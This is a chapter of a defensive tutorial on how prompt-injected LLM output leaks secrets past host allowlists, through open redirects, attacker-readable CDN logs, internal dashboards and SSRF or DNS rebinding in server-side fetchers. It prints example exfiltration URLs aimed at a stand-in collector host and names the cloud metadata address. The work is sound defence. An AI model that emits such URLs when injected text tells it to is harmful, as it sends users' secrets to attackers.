Chapter 3 of 7 · 15 min read
Allowlisting the final destination
On this page
A host allowlist is the control that follows naturally from the scheme
allowlist: having decided the model may only emit http and https URLs, you
now decide which hosts those URLs may name. Images may only load from
cdn.yourcompany.com and avatars.githubusercontent.com; links may only point
at docs.yourcompany.com and a short list of trusted domains. The rule reads
cleanly, the regex is short, and it passes review, which is part of the problem
— it is a check on a string, written at a moment when the string is all you
have.
The gap between that check and the outbound request has two distinct shapes. One is that the destination you validated can hand the browser a new destination through a redirect. The other is that the destination you validated is a host you own that will faithfully relay the request's contents to an attacker, so the request never had to leave the allowlist to leak. Both defeat a check that reads the model's output string, because in both the string is honest and the request is not.
The string is not the request
A host allowlist inspects a URL at the moment of rendering. The browser's fetch
happens later, and between the two the network gets a vote. An allowlisted
https URL can return a 302 to anywhere, and the browser follows it by
default, carrying the path and query of the original request forward; a 302 is
the HTTP status code by which a server tells a client that the thing it asked
for lives at a different address and it should go and fetch that instead, which
is what a redirect is and why it is invisible to whoever validated the first
address. So an attacker who can get a redirect installed on any allowlisted host
— or who finds one that already redirects — turns your allowlist into a launch
pad. Stated as an intuition: the allowlist is checking a string the attacker
chose, and the browser is resolving a different one.
Two mechanical details make that work, and neither is guesswork about the
attacker's cleverness. The first is that following the redirect is the client's
default rather than a choice somebody made. A response in the 3xx family
carries a Location header naming the new address, and the algorithm every
browser and nearly every HTTP library implements is: on a 3xx, take
Location, issue the request again against it, and repeat up to a bounded
number of hops. The hop limit exists to stop loops, and it is generously large
compared with the one hop an attacker needs. Nothing in that algorithm consults
the policy that approved the first address, because the policy ran in your
renderer and the redirect is being handled inside the network stack.
The second is how the attacker gets a secret of their choosing into the
Location header of a host they do not control. They rarely need to install
anything. An open redirect is an endpoint that takes a destination as a
parameter and reflects it into Location — the /go?u=… in the diagram below —
and these exist in ordinary numbers on ordinary sites, because "return the user
to where they came from after login" is a feature and the lazy implementation of
it reads the target out of the query string. So the injected instruction asks
the model to write https://cdn.yourcompany.com/go?u=collector.test/i/SECRET.
Your check reads the host, sees cdn.yourcompany.com, and allows it. The
redirector reads u, copies it into Location, and the browser does the rest.
The renderer did its job as written. It confirmed the host was on the list and permitted the load. The browser then did its job — follow redirects — and the second hop went to a host that was never checked, because nothing checks the second hop. Any allowlisted host that forwards or proxies on demand behaves the same way: an open redirect endpoint, a URL-shortener you trust, an image-resize service that takes a source URL as a parameter, a "click tracking" wrapper. The presence of a redirector inside the allowlist is enough; the attacker does not need to compromise the host, only to use a feature it already offers.
Two details in that sequence change what "the redirect leaked it" means, and
both are easy to read past. The secret had already left before the redirect
happened: the browser's first request, GET /go?u=collector.test/i/SECRET, went
to cdn.yourcompany.com and was written into that host's access log with the
canary intact, so on a host whose logs an attacker can reach the second hop is a
convenience rather than a requirement. And the second request carries more than
the URL. Browsers attach a Referer header — the misspelling is in the
specification and has outlived every attempt to correct it — naming the page a
request originated from, subject to whatever Referrer-Policy your page sets,
so a redirect chain can also tell the attacker's server which of your pages was
on screen when it fired.
This is the most important gap left by an http-and-https-only policy, and it is worth stating as a rule you can carry: validating a hostname validates the string, and the string is not the request. What you actually need to constrain is the destination that is finally fetched, including every hop a redirect adds. In a browser you have limited control over redirect following once the request leaves, which pushes the enforcement point off the client — you fetch the resource yourself, server-side, through code you control that follows redirects explicitly and re-checks the host at each hop, and you serve the client a reference to the bytes you fetched rather than the original URL. That is more infrastructure than a regex, and it is the difference between a check that can be true and a check that is merely written down.
Building that server-side fetcher correctly has its own hazard, which is worth
flagging so the fix does not open a second hole. A fetcher that follows redirects
on the model's behalf is, from the network's point of view, a server-side request
forgery engine (server-side request forgery being the class of bug where an
attacker induces your server to issue requests of their choosing, borrowing your
server's network position instead of using their own): it will connect to
whatever host the redirect names, including internal addresses the browser could
never reach — a metadata endpoint at 169.254.169.254, a database admin panel on
the private network, a localhost service. That first address is worth knowing
by sight: it is a link-local address, meaning one routable only on the machine's
own network segment, and the major cloud providers answer on it with an instance
metadata service that will hand out credentials to whatever asks from inside the
instance. A fetcher that follows an attacker's redirect there does not leak a
canary; it leaks the machine.
Re-checking the host string at each hop is necessary and not sufficient, and the
reason is a timing gap rather than a missing rule. Your check resolves the
hostname to an address, or trusts the name outright, and then the connection is
made — and between those two moments the answer can change, because the answer
comes from a nameserver the attacker may control. That is the shape of a
time-of-check-to-time-of-use bug: the fact you validated and the fact you
acted on are two different observations of something that was free to move in
between. Applied to DNS it has its own name, DNS rebinding: the attacker's
nameserver answers the first lookup with a harmless public address, which your
check approves, and answers the second lookup moments later with
169.254.169.254, which is what your socket actually connects to.
The fix follows directly from the description of the bug. Resolve the name
yourself, check the resolved address against the ranges you refuse — private,
loopback, link-local — and then connect to that address, setting the Host
header to the original name so the far end still serves the right site. That is
what "pin the address" means concretely: you remove the second lookup, so there
is no second observation to disagree with the first. The fetcher has to validate
the resolved address, not only the name, refuse private and link-local ranges,
and pin the address it validated to the address it connects to. The point is
that "fetch it yourself and re-check" is the right shape and it moves you from one class of bug into the neighbourhood of
another, so the fetcher is a piece of security-sensitive code in its own right
rather than a convenience wrapper around requests.get.
Your own CDN is somebody's collector
The second shape is subtler because it never leaves the allowlist. Take the two
image hosts above. Both serve user-uploaded content:
avatars.githubusercontent.com serves avatars that any GitHub user, including
the attacker, uploaded and whose request logs the hosting side can see for their
own object, and a CDN you run — the content delivery network serving your
product's static files — serves whatever your users put in it. So the attack
needs no redirect at all: the attacker uploads an object to a host that is
already on your allowlist, then instructs the model to build an image URL for
that object with the secret in the query string.
The host is allowlisted. The image even exists and renders, so nothing looks
broken. And the request line — path plus query, including
leak=sk-test-CANARY-8f21 — lands in the CDN's access logs for an object the
attacker controls, which they read at their leisure. The data reached the
attacker without a single byte crossing the allowlist boundary, because the
boundary was drawn around network reachability and the property that mattered was
observability. A host you own can observe a request as well as any host an
attacker owns; "internal" and "ours" are statements about who runs the server,
not about who can read the logs.
Two ordinary properties of that URL are doing the work, and neither is a
misconfiguration anybody could be blamed for. The query string is ignored when
the CDN works out which object to serve, because ?leak=… is not part of the
object's key, so the image resolves and paints exactly as it would without it.
The query string is recorded when the CDN writes its access log, because the
common log formats record the request line, and the request line is the path and
the query together. The same characters the serving path throws away are the
characters the logging path keeps, and that asymmetry is what makes a query
string the most convenient payload slot on the web.
The step in this attack that deserves scepticism is the last one, the attacker reading the record, because it is the step that varies by host and the one a review should make somebody demonstrate rather than assert. It holds where a multi-tenant service exposes per-object or per-prefix access logs to whoever owns the object; where a host reflects the parameter into a page or an API response the attacker can fetch back; and where request-level analytics are available to ordinary accounts. It does not hold automatically for every host you happen to own, and a CDN whose logs only your operations team can read is not a collector whatever else is true about it. So the durable rule is narrower and more checkable than "your own hosts are unsafe": for each allowlisted host, ask who is able to observe a request made to it, and treat "nobody outside the company" as a claim somebody has to verify rather than as a property the word internal supplies for free.
The same failure wears a different costume on internal dashboards. A dashboard at
metrics.internal that renders whatever is in ?title= or ?note= is a place
an attacker can write a request to and later read the value back out of, either
from the dashboard's own display or from its logs. So an allowlisted link to an
internal dashboard, with the secret tucked into a parameter the dashboard stores,
is an exfiltration channel that points inward. The request stayed on the
corporate network the whole time and the data still reached whoever planted the
injection, because they could query the dashboard for what it recorded.
A policy that satisfies screenshots and dashboards
The design problem this leaves is concrete. A product that shows screenshots from an internal tool, links to internal dashboards, and occasional charts as inline SVG needs all three to keep its value, while a security review wants images and SVG blocked outright. The resolution is to stop thinking in terms of "block or allow a host" and start enforcing a different property at each surface, chosen so that the request cannot carry attacker-chosen data to a place the attacker can read.
| Surface | What you enforce | Why the naive version fails |
|---|---|---|
| Screenshots from the internal tool | server-side fetch through a proxy you own; strip query string; re-check host after every redirect; serve the client a re-hosted copy | a direct <img src> to the tool follows redirects and carries a query the tool may log |
| Links to internal dashboards | canonicalise to a known-safe path; drop or ignore free parameters; render as a click-through the user initiates, never as an auto-fetch preview | a dashboard reads ?note= back to the attacker; unfurling fetches it with no click |
| Inline SVG charts | render only SVG your own chart service produced, identified by provenance — a record of where the markup came from rather than a check on what it contains — not SVG the model emitted; sanitise as defence in depth | model-emitted SVG carries <image href> and <use href> that fetch externally |
| Any image URL | no query string survives; the path must resolve to content your side placed there, not user-uploaded objects | user-uploaded objects on your CDN turn the allowlist into a collector |
One phrase in that table is doing more work than its length suggests, so it is worth unpacking. To canonicalise a URL is to rewrite it into the single agreed form your side is willing to serve, discarding everything the rewriting did not produce: you take the dashboard's identifier out of the URL the model wrote, look up the dashboard, and construct the link yourself from a template you own. What survives is what your template has slots for. A free parameter the model chose does not survive, because your template has nowhere to put it. That is a different act from validating the model's URL and letting it through once it passes, and it is stronger for the same reason the redirect defeated the host check: validation reasons about a string somebody else composed, and construction produces a string you composed.
The through-line is that each row removes the attacker's ability to put chosen bytes into a request that a party they can observe will receive. Stripping the query string removes the most convenient payload slot. Fetching server-side and re-hosting removes the redirect. Restricting SVG to your chart service's own output removes the model's ability to author the markup at all. Serving links as user-initiated click-throughs, rather than as auto-fetched previews, restores the human veto that the image case removed — which matters because link unfurling, the preview card a chat surface builds by fetching whatever a posted link points at and the subject of a later chapter in this topic, quietly turns links back into auto-fetches on the server side.
A necessary coarse filter
Notice what allowlisting hosts does buy, so none of this is read as "allowlists are useless." A host allowlist is a necessary coarse filter: it stops the model from pointing an image at an arbitrary attacker domain in one hop, which is the single most common payload and worth blocking cheaply. It is necessary and not sufficient, and the failure mode is believing the "sufficient" part because the "necessary" part was easy. A reviewer who says "internal is not the same as not-attacker-observable" is naming exactly the assumption the shortcut smuggles in.
The other honest limitation is that this policy decays, and it decays in a predictable direction. A year on, the thing that breaks it is a new host quietly added to the allowlist for a good reason — a new CDN, a partner's asset domain, a marketing subdomain — that also happens to serve user content or follow redirects, and nobody re-ran the observability argument when they added it, because the allowlist is a config value and config values get edited without a threat model. The other slow failure is an internal dashboard that grows a new parameter, or a screenshot tool that starts accepting a source URL, so a surface that was safe when you audited it becomes a relay after a feature ships.
The policy is not a thing you set; it is a thing you re-check whenever the allowlist or the hosts behind it change, which is the maintenance cost of enforcing a property the underlying systems do not enforce for you.
Every control so far has lived in the rendering path — schemes, hosts, redirects, provenance, all decisions your renderer or your proxy makes about what to display. Each has moved the check closer to the thing that actually happens: from the markup, to the scheme, to the host, to the destination finally fetched.
That direction of travel has an end, and it is not safety. Strip the rendering path to nothing — plain text, no images, no links — and the exfiltration does not stop. It moves to a set of requests that no renderer ever sees, because the agent makes them itself. That is where the topic goes next.
Data exfiltration channels — read the current version at https://daviddominguez.dev/learn/en/data-exfiltration-channels/allowlisting-the-final-destination